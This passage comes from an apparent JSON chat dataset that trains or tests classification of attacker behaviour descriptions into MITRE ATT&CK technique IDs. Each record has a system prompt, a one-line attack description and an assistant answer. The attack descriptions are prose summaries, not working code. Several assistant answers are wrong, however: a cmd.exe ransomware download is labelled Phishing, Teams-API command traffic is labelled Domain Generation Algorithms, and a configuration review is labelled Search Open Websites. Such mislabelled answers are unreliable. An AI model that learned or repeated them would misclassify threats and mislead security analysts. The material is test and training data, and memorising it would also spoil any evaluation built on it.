                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker crafts a rogue MMC task file that triggers execution of malicious code when opened with mmc.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware moved encrypted files to a remote S3 bucket to stage them before download."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the technique of DLL injection via the SetThreadContext API to modify the execution context of a target thread."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script queries the system's network interfaces to list nearby wireless networks and their properties."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows Background Intelligent Transfer Service (BITS) to quietly transfer exfiltrated data to an external server."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the hacker overwrites the SystemVersion.plist file to spoof the operating system version and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a malicious Outlook add‑in that auto‑installs when the email client starts, executing a backdoor via the Office Application Startup technique."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the 'cmd.exe /c' command line to run a batch file that downloads ransomware."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploits public CDN dashboards to gather information on origin servers, aiding in subsequent exploitation steps."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups use MSBuild to process a specially crafted XML project that triggers execution of ransomware."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows Remote Management (WinRM) protocol to execute commands on remote endpoints."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro used DDE to coordinate between two separate processes, allowing the attacker to bypass application whitelisting and execute a payload silently."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates all visible windows on the victim's desktop to locate a specific application for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a remote PowerShell payload that executes \"Get-NetAdapter | Where-Object {$_.InterfaceDescription -like '*Wi-Fi*'}\" to discover Wi‑Fi adapters and their associated networks."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A man‑in‑the‑middle proxy is set up to alter the login page of a web portal, logging credential fields before forwarding them to the real server."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sends DNS malformed queries to trigger error responses that contain hidden command data."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the registry key HKLM\\System\\CurrentControlSet\\Control\\Lsa to point to a rogue SSP DLL."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor edits a shared HTML file on a corporate intranet, adding JavaScript that drops malware when any employee accesses the page."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise the default Word dotx template on a file server, embedding a macro that triggers a PowerShell script on every document creation."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised IAM role, the threat actor executed cloud formation stack deletions that caused termination of EC2 instances."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads macOS property list (.plist) files to harvest stored Wi‑Fi passwords and VPN configuration details."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker packaged a backdoor DLL inside a trusted Office macro, disguising the payload as a normal macro library."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT writes harvested credentials to a thumb drive that is later mailed to the command center."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor parses the .bash_history entries to find authentication tokens that were displayed during earlier sessions."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs OSINT techniques to gather employee names and job titles from the company's website."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool extracts NTLM hashes by dumping the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the built-in \"Set-Acl\" cmdlet to change the permissions of a scheduled task XML file, allowing it to be edited by a low‑privilege user."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables Windows Firewall by executing a PowerShell command that sets the firewall state to off."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed \"dir \\\\192.168.10.5\\c$\" to list available shares on the remote host."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script connects to a router's CLI using an API wrapper to execute shell commands that pivot to other network segments."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a scheduled task that runs a hidden batch file, which in turn invokes a PowerShell command to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a compromised GRUB bootloader that installs a kernel module during the pre‑OS stage."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing module targets Windows Credential Manager to collect stored passwords and security tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign gathers the victim’s domain registration date and registrar information to craft tailored lures."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a Visual Basic macro embedded in a Word document to launch a payload via the Windows Script Host."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised router to perform ARP spoofing, redirecting SSH traffic and injecting commands to take control of the ongoing session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script disables kernel hardening features by setting sysctl parameters, effectively downgrading system defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential security weaknesses in a virtualization platform through configuration reviews and testing."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT deploys a containerized phishing server inside the victim's network to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat leveraged a vulnerability in the firmware to embed a persistent payload that executes during the pre‑OS boot sequence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor writes service account credentials to HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{GUID} as part of its credential exfiltration routine."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collected files are compressed with a non‑standard archiving method the attacker developed, then staged for upload."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team obtains NTLM hashes via SMB relay and then uses those hashes to authenticate to internal file shares."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware silently rewrote the 'last accessed' and 'last modified' metadata of its dropped files to evade forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team extracts a Windows access token from a privileged process via token duplication and uses it to spawn a new process."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a symmetric key encryption scheme on top of a proprietary protocol, sending stolen data without using standard C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary cleared the victim's Outlook mailbox, deleting all recent emails to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool registers a fake CLSID for Verclsid and triggers it, resulting in the execution of the attacker‑supplied DLL via System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker retrieved a malicious macro generator from a hacking forum and used it to craft spear‑phishing attachments."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers obtain a fraudulent SSL certificate from a free certificate authority to encrypt command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stages harvested code repositories in a hidden directory on the compromised endpoint before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a built‑in Windows command to add a new user marked as 'hidden' via the /ACTIVE:NO flag, preventing it from appearing in the login screen or user management interfaces."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through process hollowing, the malicious program replaces the memory of a signed system binary with its own malicious payload before execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable was renamed with a .txt extension to look like a harmless text file before being run on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program adds an entry to /etc/rc.local to trigger data transfers at system boot."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal sets up a fake domain controller to perform credential dumping with tools like Mimikatz on replicated secrets."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider accesses the network switch's SNMP interface to list all VLAN assignments and port mappings."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the pre‑OS ROM monitor on network equipment to load a malicious image, bypassing OS‑level security controls."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise results in the deletion of critical database tables."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages Windows Management Instrumentation to run a malicious PowerShell script on multiple domain-joined hosts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leveraged a legitimate Windows utility to execute a malicious PowerShell command hidden within a scheduled task, effectively using indirect command execution to run their payload."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor obtains a backdoor tool by exploiting a vulnerable public repository and prepares it for later use."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears Windows Event Logs after performing destructive actions."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary establishes a GCP service account using stolen credentials to access cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject registry modifications via Group Policy Preferences to execute a payload on startup."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create an encrypted tunnel using RC4 with a pre‑shared key to exfiltrate data from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script scanned for open SMB shares and downloaded the contents of \\server\\share."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent agent reads the local Gmail offline cache (Google Sync files) to collect email data."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the domain's trust policy by inserting a malicious trust to a rogue domain controller."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a specific sequence of TCP connection attempts to closed ports (e.g., 8000, 8001, 8002) to silently initiate a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals exploit an insecure serverless function in Cloudflare Workers to exfiltrate sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro writes a registry value under HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Open\\Addins to load a malicious COM object on Office launch."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder harvests information from third‑party data brokers, gathering details about the target's physical locations and financial filings."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the cron daemon to run a privilege‑escalation script at midnight, exploiting a known sudo misconfiguration."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the Microsoft Teams API to send and receive command messages disguised as normal team chat traffic."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
